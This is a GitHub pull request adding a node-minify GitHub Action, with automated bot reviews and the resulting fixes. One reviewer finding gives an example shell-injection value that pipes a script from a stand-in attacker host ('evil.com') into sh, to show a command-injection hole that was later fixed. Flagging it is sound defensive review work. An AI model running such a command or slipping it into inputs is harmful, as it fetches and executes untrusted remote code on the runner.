feat(action): add GitHub Action for minification (Phase 1)#2750
feat(action): add GitHub Action for minification (Phase 1)#2750
Conversation
🦋 Changeset detectedLatest commit: dbc4715 The changes in this PR will be included in the next version bump. This PR includes changesets to release 30 packages
Not sure what this means? Click here to learn what changesets are. Click here if you're a maintainer who wants to add another changeset to this PR |
📝 WalkthroughWalkthroughAdds a new node-minify GitHub Action: composite action metadata, a Bun-driven TypeScript runner that dynamically loads Changes
Sequence Diagram(s)sequenceDiagram
autonumber
participant WF as GitHub Workflow
participant Act as node-minify Action (composite)
participant Setup as Setup Steps (Java / Bun)
participant Registry as npm Registry
participant Runner as minify.ts (Bun)
participant FS as File System
participant Compressor as `@node-minify/`*
WF->>Act: trigger action with inputs
Act->>Act: validate inputs, optionally setup Java
Act->>Setup: install Bun, prepare temp dir
Setup->>Registry: fetch `@node-minify` packages
Registry-->>Setup: packages
Act->>FS: copy `minify.ts` into action temp dir
Act->>Setup: bun run minify.ts (env vars set)
Setup->>Runner: execute script
Runner->>FS: read input file (measure original size)
Runner->>Compressor: dynamic import `@node-minify/{name}`
Compressor-->>Runner: compressor module/function
Runner->>Compressor: minify(contents, type, options)
Compressor-->>Runner: minified output
Runner->>FS: write output file (measure minified size)
alt INCLUDE_GZIP == true
Runner->>Runner: compute gzip size
end
Runner->>Act: write outputs to GITHUB_OUTPUT
Act->>WF: publish job summary / outputs
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~25 minutes Poem
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
Comment |
![cubic-dev-ai[bot]](https://avatars.githubusercontent.com/in/1082092?s=60&v=4){kind=small}
There was a problem hiding this comment.
3 issues found across 5 files
Prompt for AI agents (all issues)
Check if these issues are valid — if so, understand the root cause of each and fix them.
<file name=".github/actions/node-minify/minify.ts">
<violation number="1" location=".github/actions/node-minify/minify.ts:158">
P2: The `multipliers` object is missing entries for `GB` and larger units that `prettyBytes` (used by `getFilesizeGzippedInBytes`) can return. For large gzipped files, this would cause incorrect size calculations (e.g., `1.5 GB` would be calculated as ~2 bytes instead of ~1.6 billion bytes).</violation>
</file>
<file name=".github/actions/node-minify/README.md">
<violation number="1" location=".github/actions/node-minify/README.md:3">
P2: Documentation claims HTML support but doesn't document it. The "Available Compressors" section only lists JS and CSS compressors, and the `type` input only mentions "js or css". Consider either adding an HTML compressors section with usage instructions, or updating the description to only mention JavaScript and CSS.</violation>
</file>
<file name=".github/actions/node-minify/action.yml">
<violation number="1" location=".github/actions/node-minify/action.yml:99">
P0: Command injection vulnerability: `inputs.compressor` is directly interpolated into a shell command. A malicious value like `terser; curl evil.com/x.sh | sh` would execute arbitrary code. Pass as an environment variable and reference with `$COMPRESSOR` instead.</violation>
</file>
Reply with feedback, questions, or to request a fix. Tag @cubic-dev-ai to re-run a review.
Greptile SummaryThis PR adds a well-structured GitHub Action for minifying JS/CSS/HTML files in CI/CD pipelines. The implementation uses a composite action with Bun for fast execution, supports all node-minify compressors, and provides detailed job summaries with compression statistics. Key Changes:
Strengths:
Suggestions:
Confidence Score: 4/5
Important Files Changed
Sequence DiagramsequenceDiagram
participant User as User Workflow
participant Action as GitHub Action
participant Java as setup-java
participant Bun as setup-bun
participant Install as Install Step
participant Minify as minify.ts
participant Core as @node-minify/core
participant Summary as Job Summary
User->>Action: Trigger with inputs (input, output, compressor)
alt compressor is gcc/yui AND java-version provided
Action->>Java: Setup Java (temurin)
Java-->>Action: Java ready
end
alt compressor is yui
Action->>Action: Emit deprecation warning
end
Action->>Bun: Setup Bun 1.1.38
Bun-->>Action: Bun ready
Action->>Install: Install dependencies
Install->>Install: Create temp dir in RUNNER_TEMP
Install->>Install: bun init -y
Install->>Install: bun add @node-minify packages
Install->>Install: Copy minify.ts to temp
Install-->>Action: Dependencies ready
Action->>Minify: Execute bun run minify.ts
Minify->>Minify: Read env vars (INPUT_FILE, OUTPUT_FILE, etc.)
Minify->>Minify: Validate input file exists
Minify->>Minify: Parse options JSON
Minify->>Minify: resolveCompressor(name)
Minify->>Core: minify({ compressor, input, output, type, options })
Core->>Core: Run compressor on input
Core-->>Minify: Minified output written
Minify->>Minify: Calculate sizes & reduction %
Minify->>Minify: Calculate gzip size (if enabled)
Minify->>Minify: Write outputs to GITHUB_OUTPUT
Minify-->>Action: Outputs set
alt report-summary is true
Action->>Summary: Generate job summary table
Summary-->>User: Display metrics in job summary
end
Action-->>User: Return outputs (sizes, reduction %, time)
|
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (10)
.github/actions/node-minify/minify.ts (5)
47-51: Fallback to any function export may be unpredictable.If a module exports multiple functions,
Object.values(mod)iteration order isn't guaranteed to pick the correct compressor. Consider logging a warning when using this fallback so users know which function was selected.🔎 Proposed fix
for (const value of Object.values(mod)) { if (typeof value === "function") { + console.warn(`Using fallback function export for '${packageName}'`); return { compressor: value, label: name }; } }
77-84: Deprecated::set-outputcommand used as fallback.The
::set-outputworkflow command was deprecated by GitHub. While the primary path usingGITHUB_OUTPUTis correct, the fallback may produce deprecation warnings. Consider removing the fallback or logging a warning when it's used, sinceGITHUB_OUTPUTshould always be available in modern runners.🔎 Proposed fix
function setOutput(name: string, value: string | number): void { const outputFile = process.env.GITHUB_OUTPUT; if (outputFile) { appendFileSync(outputFile, `${name}=${value}\n`); } else { - console.log(`::set-output name=${name}::${value}`); + console.warn("GITHUB_OUTPUT not set; output will not be captured"); } }
92-94: Consider validating compressor name against allowed list.The
compressorNameis used directly in a dynamic import at line 35 (@node-minify/${name}). While the action.yml provides defaults and the composite action controls the input, validating againstKNOWN_COMPRESSOR_EXPORTSkeys would add defense-in-depth.🔎 Proposed fix
const compressorName = process.env.COMPRESSOR || "terser"; + const validCompressors = Object.keys(KNOWN_COMPRESSOR_EXPORTS); + if (!validCompressors.includes(compressorName)) { + console.error(`::error::Unknown compressor '${compressorName}'. Valid options: ${validCompressors.join(", ")}`); + process.exit(1); + } const fileType = process.env.FILE_TYPE;
119-119: Invalid JSON options will produce a confusing error message.If the user provides malformed JSON in the
optionsinput, the error will be reported as "Minification failed: Unexpected token..." which doesn't clearly indicate the issue is with the options JSON.🔎 Proposed fix
- const options = JSON.parse(optionsJson); + let options: Record<string, unknown>; + try { + options = JSON.parse(optionsJson); + } catch (e) { + console.error(`::error::Invalid JSON in OPTIONS: ${optionsJson}`); + process.exit(1); + }
204-204: Unhandled promise rejection at top level.If an error occurs outside the try-catch block (e.g., during initial variable assignments before line 116), the promise rejection would be unhandled. Adding
.catch()ensures consistent error reporting.🔎 Proposed fix
-run(); +run().catch((error) => { + const message = error instanceof Error ? error.message : "Unknown error"; + console.error(`::error::Minification failed: ${message}`); + process.exit(1); +});.github/actions/node-minify/action.yml (2)
70-76: Java setup condition doesn't verify compressor requires Java.The condition only checks if
java-versionis provided, but doesn't verify the compressor actually needs Java. Per the implementation plan, the condition should also includecontains(fromJSON('["gcc", "google-closure-compiler", "yui"]'), inputs.compressor). While unnecessary Java setup is harmless, it wastes CI time.🔎 Proposed fix
- name: Setup Java (for gcc/yui) - if: inputs.java-version != '' + if: inputs.java-version != '' && contains(fromJSON('["gcc", "google-closure-compiler", "yui"]'), inputs.compressor) uses: actions/setup-java@v4 with: distribution: "temurin" java-version: ${{ inputs.java-version }}
85-101: LGTM!Good approach installing dependencies in
RUNNER_TEMPto avoid workspace conflicts. However, Bun version 1.1.38 is significantly outdated—the latest stable version is v1.2.20 (released August 2025). Update to a more recent version..plans/github_action_implementation_plan.md (1)
54-59: Consider adding language specifiers to fenced code blocks.Static analysis flagged several fenced code blocks without language specifiers (lines 54, 65, 267, 383). While this is a planning document, adding language hints improves readability in markdown renderers.
.github/workflows/test-action.yml (2)
47-61: Consider adding assertions on reduction percentage.The verification only checks if the output file exists. Adding an assertion that
reduction-percentis greater than 0 would catch cases where minification produces output but doesn't actually reduce the file size.🔎 Proposed fix
- name: Verify terser outputs run: | echo "Original size: ${{ steps.minify-terser.outputs.original-size-formatted }}" echo "Minified size: ${{ steps.minify-terser.outputs.minified-size-formatted }}" echo "Reduction: ${{ steps.minify-terser.outputs.reduction-percent }}%" echo "Gzip size: ${{ steps.minify-terser.outputs.gzip-size-formatted }}" echo "Time: ${{ steps.minify-terser.outputs.time-ms }}ms" if [ ! -f "test-action/output.min.js" ]; then echo "::error::Output file was not created" exit 1 fi + # Verify minification actually reduced file size + if [ "$(echo '${{ steps.minify-terser.outputs.reduction-percent }} > 0' | bc -l)" -ne 1 ]; then + echo "::error::Reduction percentage should be > 0" + exit 1 + fi + echo "Output file content:" cat test-action/output.min.js
123-128: CSS verification step could also benefit from reduction assertion.Similar to the JS test, consider adding an assertion that the CSS minification actually reduced file size.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (5)
.github/actions/node-minify/README.md.github/actions/node-minify/action.yml.github/actions/node-minify/minify.ts.github/workflows/test-action.yml.plans/github_action_implementation_plan.md
🧰 Additional context used
🧬 Code graph analysis (1)
.github/actions/node-minify/minify.ts (3)
packages/core/src/index.ts (1)
minify(21-27)examples/server.js (1)
result(27-27)packages/cli/src/spinner.ts (1)
error(61-61)
🪛 LanguageTool
.plans/github_action_implementation_plan.md
[uncategorized] ~35-~35: The official name of this software platform is spelled with a capital “H”.
Context: ...ly inlines resolveCompressor logic in .github/actions/node-minify/minify.ts because ...
(GITHUB)
[uncategorized] ~1065-~1065: The operating system from Apple is written “macOS”.
Context: ...ly | | Cross-platform | Test on ubuntu, macos, windows runners | | Bun vs Node | Supp...
(MAC_OS)
🪛 markdownlint-cli2 (0.18.1)
.plans/github_action_implementation_plan.md
54-54: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
65-65: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
252-252: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
267-267: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
383-383: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (8)
- GitHub Check: cubic · AI code reviewer
- GitHub Check: Greptile Review
- GitHub Check: test (windows-latest, 20.x)
- GitHub Check: test (ubuntu-latest, 20.x)
- GitHub Check: test (ubuntu-latest, 22.x)
- GitHub Check: test (ubuntu-latest, 24.x)
- GitHub Check: test (windows-latest, 24.x)
- GitHub Check: test (windows-latest, 22.x)
🔇 Additional comments (13)
.github/actions/node-minify/minify.ts (3)
1-6: LGTM!Clean imports using Node.js built-in modules with
node:prefix and proper external dependencies.
69-75: LGTM!The
formatBytesfunction correctly handles the zero-byte edge case and uses standard SI prefixes.
184-186: Minor inconsistency in null handling for gzip outputs.
gzip-sizeoutputs an empty string when null, whilegzip-size-formattedoutputs "N/A". This is acceptable but may cause minor confusion for consumers expecting consistent behavior..github/actions/node-minify/README.md (3)
1-16: LGTM!Clear and concise documentation with a practical basic example that correctly demonstrates action usage.
38-69: LGTM!Input documentation is accurate and the compressor categorization by Java requirement is helpful for users.
71-118: LGTM!Output documentation and examples are well-structured. The GCC example correctly demonstrates the Java setup prerequisite pattern.
.github/actions/node-minify/action.yml (3)
1-40: LGTM!Well-structured action metadata with clear input descriptions and sensible defaults. Good use of branding and author attribution.
41-66: LGTM!Outputs are properly wired from the minify step with clear descriptions.
103-136: LGTM!The minification step properly passes environment variables, and the job summary generates a clean markdown table with all relevant metrics.
.plans/github_action_implementation_plan.md (2)
35-39: LGTM!Good practice documenting the TODO for reverting to the npm package import after
resolveCompressoris published. This ensures the temporary workaround is tracked.
1057-1069: LGTM!Thorough risk assessment with practical mitigations. Good coverage of Java-related considerations and yui deprecation handling.
.github/workflows/test-action.yml (2)
1-14: LGTM!Good workflow configuration with appropriate path filters to only run tests when relevant files change. Including
workflow_dispatchenables manual triggering for debugging.
130-136: LGTM!The summary job correctly uses
needsto depend on both test jobs, ensuring it only runs after all tests pass.
|
@greptile |
|
Caution Docstrings generation - FAILED An unexpected error occurred while opening a pull request: Failed to open a pull request. |
Docstrings generation was requested by @srod. * #2750 (comment) The following files were modified: * `.github/actions/node-minify/minify.ts`
|
@greptile |
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Fix all issues with AI Agents
In @.github/actions/node-minify/minify.ts:
- Around line 82-88: formatBytes can compute i >= sizes.length for very large
byte counts, causing sizes[i] to be undefined; clamp i before indexing or extend
the units. Fix formatBytes by computing const i =
Math.min(Math.floor(Math.log(bytes) / Math.log(k)), sizes.length - 1) (or add
"TB", "PB", etc. to the sizes array) and then use that clamped i when dividing
and looking up sizes[i], ensuring no out-of-bounds access for huge byte values.
🧹 Nitpick comments (2)
.github/actions/node-minify/action.yml (1)
119-137: Job summary may break with special characters in file paths.File paths containing markdown-significant characters (backticks, pipes, newlines) could break the summary table formatting. This is cosmetic only and doesn't affect functionality. Consider escaping or sanitizing if robustness is desired.
.github/actions/node-minify/minify.ts (1)
193-208: Consider adding a fallback warning for unrecognized units.The multipliers map now includes GB (addressing the past review), but
prettyBytescan theoretically return TB and higher. While such large gzipped outputs are impractical for minification, the silent fallback(multipliers[unit] || 1)would yield incorrect bytes if an unknown unit appears. A console warning would aid debugging:🔎 Proposed enhancement
const multipliers: Record<string, number> = { B: 1, kB: 1024, MB: 1024 * 1024, GB: 1024 * 1024 * 1024, + TB: 1024 * 1024 * 1024 * 1024, }; - gzipSize = Math.round(value * (multipliers[unit] || 1)); + const multiplier = multipliers[unit]; + if (!multiplier) { + console.warn(`Unknown unit '${unit}' in gzip result: ${gzipResult}`); + } + gzipSize = Math.round(value * (multiplier || 1)); gzipSizeFormatted = gzipResult;
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (3)
.github/actions/node-minify/action.yml.github/actions/node-minify/minify.ts.github/workflows/test-action.yml
🚧 Files skipped from review as they are similar to previous changes (1)
- .github/workflows/test-action.yml
🧰 Additional context used
🧬 Code graph analysis (1)
.github/actions/node-minify/minify.ts (1)
packages/core/src/index.ts (1)
minify(21-27)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (7)
- GitHub Check: Greptile Review
- GitHub Check: test (windows-latest, 20.x)
- GitHub Check: test (windows-latest, 22.x)
- GitHub Check: test (windows-latest, 24.x)
- GitHub Check: test (ubuntu-latest, 24.x)
- GitHub Check: test (ubuntu-latest, 22.x)
- GitHub Check: test (ubuntu-latest, 20.x)
🔇 Additional comments (10)
.github/actions/node-minify/action.yml (3)
1-39: LGTM!The action metadata and input definitions are well-structured with sensible defaults. The conditional Java setup (line 72) properly gates Java installation to only when needed for gcc/yui compressors.
41-65: LGTM!Output definitions correctly map to the
minifystep outputs with clear descriptions.
85-102: Bun version 1.1.38 is outdated (1.3.5 is current as of January 2026), but version pinning is acceptable for reproducibility.The dependency installation correctly uses environment variables to prevent command injection—the
"@node-minify/${COMPRESSOR}"construction is safely quoted. Code looks good..github/actions/node-minify/minify.ts (7)
1-30: LGTM!The imports are appropriate and the
KNOWN_COMPRESSOR_EXPORTSmapping comprehensively covers all node-minify compressor packages with their correct export names.
32-63: LGTM!The
resolveCompressorfunction implements a robust fallback strategy: known export → default export → first function export. The error messaging is clear and the docstring accurately describes the behavior.
90-103: LGTM!The
setOutputfunction correctly requiresGITHUB_OUTPUTand removes the deprecated::set-outputfallback. The implementation follows GitHub Actions' current output protocol.
105-113: LGTM!Simple and correct file size helper.
125-160: LGTM!Input validation is thorough with proper GitHub Actions error formatting. The JSON parsing error handling with clear messaging was a good addition per the commit history.
210-237: LGTM!Result aggregation and output emission are well-structured. The null handling for optional gzip values with sensible defaults (
""and"N/A") is appropriate.
238-250: LGTM!Error handling is comprehensive with proper GitHub Actions error formatting. The top-level catch ensures unhandled promise rejections are properly reported, which was a good addition per the commit history.
- Define composite action architecture for MVP - Document Java requirements for gcc/yui compressors - Include feature specs, reporting options, usage examples - Plan phases: MVP composite -> JS action -> marketplace
MVP composite action implementation: - action.yml with inputs for compressor, input/output, options - minify.ts script using @node-minify/core programmatic API - Outputs: original-size, minified-size, reduction-percent, gzip-size, time-ms - Job summary with compression statistics - Java support for gcc/yui with deprecation warning - Test workflow for JS and CSS minification
…e conflict - Install packages in RUNNER_TEMP to avoid Bun workspace detection - Use WORKSPACE_DIR env var for file path resolution - Fixes dependency loop when testing action in monorepo
The published @node-minify/utils@10.2.0 doesn't export resolveCompressor yet. Inline the compressor resolution logic until the next release.
Pass compressor via environment variable and quote the package name to prevent shell injection attacks from malicious input values.
Docstrings generation was requested by @srod. * #2750 (comment) The following files were modified: * `.github/actions/node-minify/minify.ts`
srod
force-pushed
the
feature/github-action
branch
from
cc4a1e6 to
a77d9a3
Compare
|
@greptile |
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Fix all issues with AI agents
In @.github/actions/node-minify/action.yml:
- Around line 85-88: Update the pinned Bun version in the GitHub Action step
that currently sets bun-version: "1.1.38" (the step named "Setup Bun" using
oven-sh/setup-bun@v2) to a current stable 1.3.x release (for example
bun-version: "1.3.5") unless 1.1.38 is intentionally required; change only the
bun-version value to the newer patch release and run CI to verify compatibility.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
⛔ Files ignored due to path filters (1)
.changeset/resolve-compressor-export.mdis excluded by!.changeset/**
📒 Files selected for processing (5)
.github/actions/node-minify/README.md.github/actions/node-minify/action.yml.github/actions/node-minify/minify.ts.github/workflows/test-action.yml.plans/github_action_implementation_plan.md
🚧 Files skipped from review as they are similar to previous changes (3)
- .github/actions/node-minify/minify.ts
- .github/actions/node-minify/README.md
- .github/workflows/test-action.yml
🧰 Additional context used
🪛 LanguageTool
.plans/github_action_implementation_plan.md
[uncategorized] ~35-~35: The official name of this software platform is spelled with a capital “H”.
Context: ...ly inlines resolveCompressor logic in .github/actions/node-minify/minify.ts because ...
(GITHUB)
[uncategorized] ~1065-~1065: The operating system from Apple is written “macOS”.
Context: ...ly | | Cross-platform | Test on ubuntu, macos, windows runners | | Bun vs Node | Supp...
(MAC_OS)
🪛 markdownlint-cli2 (0.18.1)
.plans/github_action_implementation_plan.md
54-54: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
65-65: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
252-252: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
267-267: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
383-383: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (6)
- GitHub Check: test (ubuntu-latest, 20.x)
- GitHub Check: test (ubuntu-latest, 22.x)
- GitHub Check: test (ubuntu-latest, 24.x)
- GitHub Check: test (windows-latest, 24.x)
- GitHub Check: test (windows-latest, 20.x)
- GitHub Check: test (windows-latest, 22.x)
🔇 Additional comments (2)
.github/actions/node-minify/action.yml (1)
90-102: Command injection fix confirmed.The previous command injection vulnerability has been correctly addressed. The compressor name is now safely passed as an environment variable and referenced with
${COMPRESSOR}instead of being directly interpolated into the command..plans/github_action_implementation_plan.md (1)
1-1084: Comprehensive implementation plan aligns well with the actual implementation.This planning document thoroughly covers the GitHub Action architecture, feature specifications, implementation phases, and operational considerations. The plan correctly identifies the composite action approach (Phase 1) as the MVP, which matches the implemented
.github/actions/node-minify/action.yml. Key aspects like Java prerequisites for gcc/yui compressors, Bun setup, and reporting features are well-documented and consistent with the implementation.The TODO note at lines 35-39 about inlining
resolveCompressoruntil@node-minify/utilsis published is good documentation practice.
![greptile-apps[bot]](https://avatars.githubusercontent.com/in/867647?s=60&v=4){kind=small}
| using: "composite" | ||
| steps: | ||
| # Setup Java for gcc/yui compressors (only if java-version is specified and compressor needs it) | ||
| - name: Setup Java (for gcc/yui) |
There was a problem hiding this comment.
style: Java setup runs only if java-version is provided, but gcc and yui require Java. Users who specify these compressors without java-version will fail later during minification.
Consider one of:
- Make
java-versionrequired when using gcc/yui - Auto-detect and set up Java with a default version when these compressors are used
- Add clear validation/error early in the workflow
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/actions/node-minify/action.yml
Line: 71:71
Comment:
**style:** Java setup runs only if `java-version` is provided, but `gcc` and `yui` require Java. Users who specify these compressors without `java-version` will fail later during minification.
Consider one of:
1. Make `java-version` required when using gcc/yui
2. Auto-detect and set up Java with a default version when these compressors are used
3. Add clear validation/error early in the workflow
How can I resolve this? If you propose a fix, please make it concise.| await minify({ | ||
| compressor: compressor as Parameters< | ||
| typeof minify | ||
| >[0]["compressor"], | ||
| input: inputPath, | ||
| output: outputPath, | ||
| ...(fileType && { type: fileType as "js" | "css" }), | ||
| ...(Object.keys(options).length > 0 && { options }), | ||
| }); |
There was a problem hiding this comment.
style: type field is only passed to minify() when fileType is truthy, but some compressors (esbuild, lightningcss, yui) require it. The validation happens inside @node-minify/core, but users won't know until minification fails.
| await minify({ | |
| compressor: compressor as Parameters< | |
| typeof minify | |
| >[0]["compressor"], | |
| input: inputPath, | |
| output: outputPath, | |
| ...(fileType && { type: fileType as "js" | "css" }), | |
| ...(Object.keys(options).length > 0 && { options }), | |
| }); | |
| // Validate type requirement for specific compressors | |
| const requiresType = ["esbuild", "lightningcss", "yui"].includes(compressorName); | |
| if (requiresType && !fileType) { | |
| console.error(`::error::Compressor '${compressorName}' requires the 'type' input (js or css)`); | |
| process.exit(1); | |
| } | |
| await minify({ | |
| compressor: compressor as Parameters< | |
| typeof minify | |
| >[0]["compressor"], | |
| input: inputPath, | |
| output: outputPath, | |
| ...(fileType && { type: fileType as "js" | "css" }), | |
| ...(Object.keys(options).length > 0 && { options }), | |
| }); |
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/actions/node-minify/minify.ts
Line: 166:174
Comment:
**style:** `type` field is only passed to `minify()` when `fileType` is truthy, but some compressors (esbuild, lightningcss, yui) require it. The validation happens inside @node-minify/core, but users won't know until minification fails.
```suggestion
// Validate type requirement for specific compressors
const requiresType = ["esbuild", "lightningcss", "yui"].includes(compressorName);
if (requiresType && !fileType) {
console.error(`::error::Compressor '${compressorName}' requires the 'type' input (js or css)`);
process.exit(1);
}
await minify({
compressor: compressor as Parameters<
typeof minify
>[0]["compressor"],
input: inputPath,
output: outputPath,
...(fileType && { type: fileType as "js" | "css" }),
...(Object.keys(options).length > 0 && { options }),
});
```
How can I resolve this? If you propose a fix, please make it concise.
srod
force-pushed
the
feature/github-action
branch
from
f0ad2ed to
dbc4715
Compare
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Fix all issues with AI agents
In @.github/actions/node-minify/minify.ts:
- Around line 82-88: The formatBytes function can index past the sizes array for
very large byte values; clamp the computed index i to the last valid index or
extend sizes to include larger units so sizes[i] is never undefined.
Specifically, in formatBytes, after computing i via
Math.floor(Math.log(bytes)/Math.log(k)), replace its raw use with a clampedIndex
= Math.min(i, sizes.length - 1) (or expand sizes to include "TB","PB", etc.) and
use that clampedIndex when formatting the output.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (2)
.github/actions/node-minify/action.yml.github/actions/node-minify/minify.ts
🚧 Files skipped from review as they are similar to previous changes (1)
- .github/actions/node-minify/action.yml
🧰 Additional context used
🧬 Code graph analysis (1)
.github/actions/node-minify/minify.ts (1)
packages/core/src/index.ts (1)
minify(21-27)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (3)
- GitHub Check: test (windows-latest, 20.x)
- GitHub Check: test (windows-latest, 22.x)
- GitHub Check: test (windows-latest, 24.x)
🔇 Additional comments (6)
.github/actions/node-minify/minify.ts (6)
1-30: LGTM: Imports and compressor mapping are comprehensive.The KNOWN_COMPRESSOR_EXPORTS mapping covers a wide range of compressors and correctly includes the
gccalias for google-closure-compiler.
32-63: LGTM: Robust compressor resolution strategy.The function implements a sensible fallback chain (known export → default → any function) and provides clear error messages when no valid compressor is found.
90-113: LGTM: Output handling and file size utilities are correct.The
setOutputfunction correctly uses theGITHUB_OUTPUTenvironment variable without falling back to the deprecated::set-outputcommand. ThegetFileSizewrapper is straightforward and appropriate.
115-148: LGTM: Input validation and path resolution are secure.The function properly validates required inputs, resolves paths safely to prevent directory traversal, and checks for input file existence before proceeding.
150-198: LGTM: Minification orchestration is robust.The code correctly validates type requirements for compressors that need them (esbuild, lightningcss, yui), handles JSON parsing errors gracefully, and accurately measures execution time and compression metrics.
220-260: LGTM: Output generation and error handling are comprehensive.The result structure correctly matches the ActionResult interface, all outputs are properly set, and error handling provides clear GitHub Actions-formatted messages with appropriate exit codes.
| function formatBytes(bytes: number): string { | ||
| if (bytes === 0) return "0 B"; | ||
| const k = 1024; | ||
| const sizes = ["B", "kB", "MB", "GB"]; | ||
| const i = Math.floor(Math.log(bytes) / Math.log(k)); | ||
| return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`; | ||
| } |
There was a problem hiding this comment.
Index out of bounds for files ≥1 TB remains unaddressed.
The sizes array still has only 4 elements (B, kB, MB, GB), so for files ≥1 TB, sizes[i] returns undefined (e.g., "1.23 undefined"). While unlikely for minified files, consider clamping the index or extending the array.
♻️ Proposed fix
function formatBytes(bytes: number): string {
if (bytes === 0) return "0 B";
const k = 1024;
- const sizes = ["B", "kB", "MB", "GB"];
- const i = Math.floor(Math.log(bytes) / Math.log(k));
+ const sizes = ["B", "kB", "MB", "GB", "TB"];
+ const i = Math.min(Math.floor(Math.log(bytes) / Math.log(k)), sizes.length - 1);
return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`;
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| function formatBytes(bytes: number): string { | |
| if (bytes === 0) return "0 B"; | |
| const k = 1024; | |
| const sizes = ["B", "kB", "MB", "GB"]; | |
| const i = Math.floor(Math.log(bytes) / Math.log(k)); | |
| return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`; | |
| } | |
| function formatBytes(bytes: number): string { | |
| if (bytes === 0) return "0 B"; | |
| const k = 1024; | |
| const sizes = ["B", "kB", "MB", "GB", "TB"]; | |
| const i = Math.min(Math.floor(Math.log(bytes) / Math.log(k)), sizes.length - 1); | |
| return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`; | |
| } |
🤖 Prompt for AI Agents
In @.github/actions/node-minify/minify.ts around lines 82 - 88, The formatBytes
function can index past the sizes array for very large byte values; clamp the
computed index i to the last valid index or extend sizes to include larger units
so sizes[i] is never undefined. Specifically, in formatBytes, after computing i
via Math.floor(Math.log(bytes)/Math.log(k)), replace its raw use with a
clampedIndex = Math.min(i, sizes.length - 1) (or expand sizes to include
"TB","PB", etc.) and use that clampedIndex when formatting the output.
| let gzipSize: number | null = null; | ||
| let gzipSizeFormatted: string | null = null; | ||
|
|
||
| if (includeGzip) { | ||
| const gzipResult = await getFilesizeGzippedInBytes(outputPath); | ||
| const match = gzipResult.match(/([\d.]+)\s*(\w+)/); | ||
| if (match) { | ||
| const value = Number.parseFloat(match[1]); | ||
| const unit = match[2]; | ||
| const multipliers: Record<string, number> = { | ||
| B: 1, | ||
| kB: 1024, | ||
| MB: 1024 * 1024, | ||
| GB: 1024 * 1024 * 1024, | ||
| }; | ||
| gzipSize = Math.round(value * (multipliers[unit] || 1)); | ||
| gzipSizeFormatted = gzipResult; | ||
| } | ||
| } |
There was a problem hiding this comment.
Missing unit multipliers for TB and larger units remain unaddressed.
The multipliers object still only includes B through GB. Since prettyBytes (used by getFilesizeGzippedInBytes) can return units up to YB, large gzipped files would silently calculate incorrect byte values (e.g., "1.5 TB" → 1.5 bytes instead of ~1.6 trillion bytes).
♻️ Proposed fix
const multipliers: Record<string, number> = {
B: 1,
kB: 1024,
MB: 1024 * 1024,
GB: 1024 * 1024 * 1024,
+ TB: 1024 ** 4,
+ PB: 1024 ** 5,
+ EB: 1024 ** 6,
+ ZB: 1024 ** 7,
+ YB: 1024 ** 8,
};
gzipSize = Math.round(value * (multipliers[unit] || 1));
gzipSizeFormatted = gzipResult;
+ } else {
+ console.warn(`Could not parse gzip result: ${gzipResult}`);
}
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## develop #2750 +/- ##
========================================
Coverage 99.54% 99.54%
========================================
Files 58 58
Lines 1104 1104
Branches 335 335
========================================
Hits 1099 1099
Misses 5 5 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
1 participant
Summary
Adds a GitHub Action that allows users to minify JS/CSS files directly in their CI/CD pipelines with detailed reporting.
Features
Usage
Files Added
.github/actions/node-minify/action.yml- Action definition.github/actions/node-minify/minify.ts- Minification script.github/actions/node-minify/README.md- Documentation.github/workflows/test-action.yml- CI tests for the action.plans/github_action_implementation_plan.md- Implementation planNotes
resolveCompressoris currently inlined because it's not yet published to npm. After release, will update to use real import from@node-minify/utils.Phase 1 of GitHub Action implementation. Phase 2 will add PR comments, annotations, and benchmark mode.
Summary by cubic
Adds a composite GitHub Action to minify JS/CSS/HTML in CI with detailed size reporting. Phase 1 delivers fast minification, outputs, a job summary, and security hardening; Phase 2 will add PR comments and benchmark mode.
New Features
Dependencies
Written for commit dbc4715. Summary will update on new commits.
Summary by CodeRabbit
New Features
Documentation
Tests
